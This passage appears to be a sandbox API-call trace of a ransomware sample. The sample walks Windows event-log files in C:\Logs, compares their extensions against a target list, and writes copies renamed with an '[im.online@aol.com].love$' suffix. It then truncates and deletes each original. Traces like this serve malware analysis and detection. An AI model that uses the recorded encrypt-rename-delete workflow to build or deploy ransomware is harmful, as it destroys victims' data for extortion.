(lpString1=".ppt", lpString2="evtx") returned -1 [0226.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.213] lstrlenW (lpString=".zip") returned 4 [0226.213] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.213] lstrlenW (lpString=".rar") returned 4 [0226.213] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.213] lstrlenW (lpString=".bz2") returned 4 [0226.213] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.213] lstrlenW (lpString=".7z") returned 3 [0226.213] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.213] lstrlenW (lpString=".dbf") returned 4 [0226.213] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.214] lstrlenW (lpString=".1cd") returned 4 [0226.214] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.214] lstrlenW (lpString=".jpg") returned 4 [0226.214] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.214] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.214] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45 [0226.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.214] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0226.214] CloseHandle (hObject=0x3bc) returned 1 [0226.214] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0226.214] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.215] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.215] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.215] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0226.215] GetLastError () returned 0x0 [0226.215] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.238] WriteFile (in: hFile=0x404, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.241] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.241] WriteFile (in: hFile=0x404, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x12e, lpOverlapped=0x0) returned 1 [0226.241] SetEndOfFile (hFile=0x404) returned 1 [0226.241] CloseHandle (hObject=0x404) returned 1 [0226.248] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.248] SetEndOfFile (hFile=0x3bc) returned 1 [0226.250] CloseHandle (hObject=0x3bc) returned 1 [0226.250] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.250] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0226.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.251] lstrlenW (lpString=".doc") returned 4 [0226.251] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.251] lstrlenW (lpString=".docx") returned 5 [0226.251] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.251] lstrlenW (lpString=".pdf") returned 4 [0226.251] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.251] lstrlenW (lpString=".xls") returned 4 [0226.251] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.251] lstrlenW (lpString=".xlsx") returned 5 [0226.251] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.251] lstrlenW (lpString=".ppt") returned 4 [0226.251] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.251] lstrlenW (lpString=".zip") returned 4 [0226.251] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.251] lstrlenW (lpString=".rar") returned 4 [0226.252] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.252] lstrlenW (lpString=".bz2") returned 4 [0226.252] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.252] lstrlenW (lpString=".7z") returned 3 [0226.252] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.252] lstrlenW (lpString=".dbf") returned 4 [0226.252] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.252] lstrlenW (lpString=".1cd") returned 4 [0226.252] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.252] lstrlenW (lpString=".jpg") returned 4 [0226.252] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.252] lstrlenW (lpString=".doc") returned 4 [0226.252] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.252] lstrlenW (lpString=".docx") returned 5 [0226.252] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.252] lstrlenW (lpString=".pdf") returned 4 [0226.252] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.252] lstrlenW (lpString=".xls") returned 4 [0226.252] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.252] lstrlenW (lpString=".xlsx") returned 5 [0226.252] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.252] lstrlenW (lpString=".ppt") returned 4 [0226.253] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.253] lstrlenW (lpString=".zip") returned 4 [0226.253] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.253] lstrlenW (lpString=".rar") returned 4 [0226.253] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.253] lstrlenW (lpString=".bz2") returned 4 [0226.253] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.253] lstrlenW (lpString=".7z") returned 3 [0226.253] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.253] lstrlenW (lpString=".dbf") returned 4 [0226.253] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.253] lstrlenW (lpString=".1cd") returned 4 [0226.253] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0226.253] lstrlenW (lpString=".jpg") returned 4 [0226.253] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.253] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.253] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42 [0226.253] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.255] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0226.255] CloseHandle (hObject=0x3bc) returned 1 [0226.255] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0226.255] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.255] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.255] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.255] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.255] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0226.256] GetLastError () returned 0x0 [0226.256] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.262] WriteFile (in: hFile=0x404, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.268] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.269] WriteFile (in: hFile=0x404, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x128, lpOverlapped=0x0) returned 1 [0226.269] SetEndOfFile (hFile=0x404) returned 1 [0226.269] CloseHandle (hObject=0x404) returned 1 [0226.272] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.272] SetEndOfFile (hFile=0x3bc) returned 1 [0226.274] CloseHandle (hObject=0x3bc) returned 1 [0226.274] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.275] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0226.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.275] lstrlenW (lpString=".doc") returned 4 [0226.275] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.275] lstrlenW (lpString=".docx") returned 5 [0226.275] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.275] lstrlenW (lpString=".pdf") returned 4 [0226.276] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.276] lstrlenW (lpString=".xls") returned 4 [0226.276] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.276] lstrlenW (lpString=".xlsx") returned 5 [0226.276] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.276] lstrlenW (lpString=".ppt") returned 4 [0226.276] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.276] lstrlenW (lpString=".zip") returned 4 [0226.276] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.276] lstrlenW (lpString=".rar") returned 4 [0226.276] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.276] lstrlenW (lpString=".bz2") returned 4 [0226.276] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.276] lstrlenW (lpString=".7z") returned 3 [0226.276] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.276] lstrlenW (lpString=".dbf") returned 4 [0226.276] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.276] lstrlenW (lpString=".1cd") returned 4 [0226.276] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.276] lstrlenW (lpString=".jpg") returned 4 [0226.276] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.277] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.277] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.277] lstrlenW (lpString=".doc") returned 4 [0226.277] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.277] lstrlenW (lpString=".docx") returned 5 [0226.277] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.277] lstrlenW (lpString=".pdf") returned 4 [0226.277] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.277] lstrlenW (lpString=".xls") returned 4 [0226.277] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.277] lstrlenW (lpString=".xlsx") returned 5 [0226.277] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.277] lstrlenW (lpString=".ppt") returned 4 [0226.277] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.277] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.277] lstrlenW (lpString=".zip") returned 4 [0226.277] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.277] lstrlenW (lpString=".rar") returned 4 [0226.277] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.277] lstrlenW (lpString=".bz2") returned 4 [0226.277] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.277] lstrlenW (lpString=".7z") returned 3 [0226.277] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.277] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.278] lstrlenW (lpString=".dbf") returned 4 [0226.278] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.278] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.278] lstrlenW (lpString=".1cd") returned 4 [0226.278] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.278] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0226.278] lstrlenW (lpString=".jpg") returned 4 [0226.278] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.278] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.278] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39 [0226.278] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.278] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0226.278] CloseHandle (hObject=0x3bc) returned 1 [0226.279] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0226.279] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.279] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.279] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.279] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.279] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0226.280] GetLastError () returned 0x0 [0226.280] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.596] WriteFile (in: hFile=0x404, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.598] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.598] WriteFile (in: hFile=0x404, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x122, lpOverlapped=0x0) returned 1 [0226.598] SetEndOfFile (hFile=0x404) returned 1 [0226.599] CloseHandle (hObject=0x404) returned 1 [0226.604] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.604] SetEndOfFile (hFile=0x3bc) returned 1 [0226.606] CloseHandle (hObject=0x3bc) returned 1 [0226.606] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.607] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0226.607] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.607] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.607] lstrlenW (lpString=".doc") returned 4 [0226.607] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.607] lstrlenW (lpString=".docx") returned 5 [0226.607] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.607] lstrlenW (lpString=".pdf") returned 4 [0226.607] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.607] lstrlenW (lpString=".xls") returned 4 [0226.607] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.607] lstrlenW (lpString=".xlsx") returned 5 [0226.607] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.607] lstrlenW (lpString=".ppt") returned 4 [0226.607] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.608] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.608] lstrlenW (lpString=".zip") returned 4 [0226.608] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.608] lstrlenW (lpString=".rar") returned 4 [0226.608] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.608] lstrlenW (lpString=".bz2") returned 4 [0226.608] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.608] lstrlenW (lpString=".7z") returned 3 [0226.608] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.608] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.608] lstrlenW (lpString=".dbf") returned 4 [0226.608] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.608] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.608] lstrlenW (lpString=".1cd") returned 4 [0226.608] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.608] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.608] lstrlenW (lpString=".jpg") returned 4 [0226.608] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.608] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.608] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.608] lstrlenW (lpString=".doc") returned 4 [0226.608] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.608] lstrlenW (lpString=".docx") returned 5 [0226.609] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.609] lstrlenW (lpString=".pdf") returned 4 [0226.609] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.609] lstrlenW (lpString=".xls") returned 4 [0226.609] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.609] lstrlenW (lpString=".xlsx") returned 5 [0226.609] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.609] lstrlenW (lpString=".ppt") returned 4 [0226.609] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.609] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.609] lstrlenW (lpString=".zip") returned 4 [0226.609] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.609] lstrlenW (lpString=".rar") returned 4 [0226.609] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.609] lstrlenW (lpString=".bz2") returned 4 [0226.609] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.609] lstrlenW (lpString=".7z") returned 3 [0226.609] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.609] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.609] lstrlenW (lpString=".dbf") returned 4 [0226.609] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.609] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.609] lstrlenW (lpString=".1cd") returned 4 [0226.609] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.609] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0226.609] lstrlenW (lpString=".jpg") returned 4 [0226.610] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.610] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.610] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49 [0226.610] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.610] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0226.610] CloseHandle (hObject=0x3bc) returned 1 [0226.610] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0226.611] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: 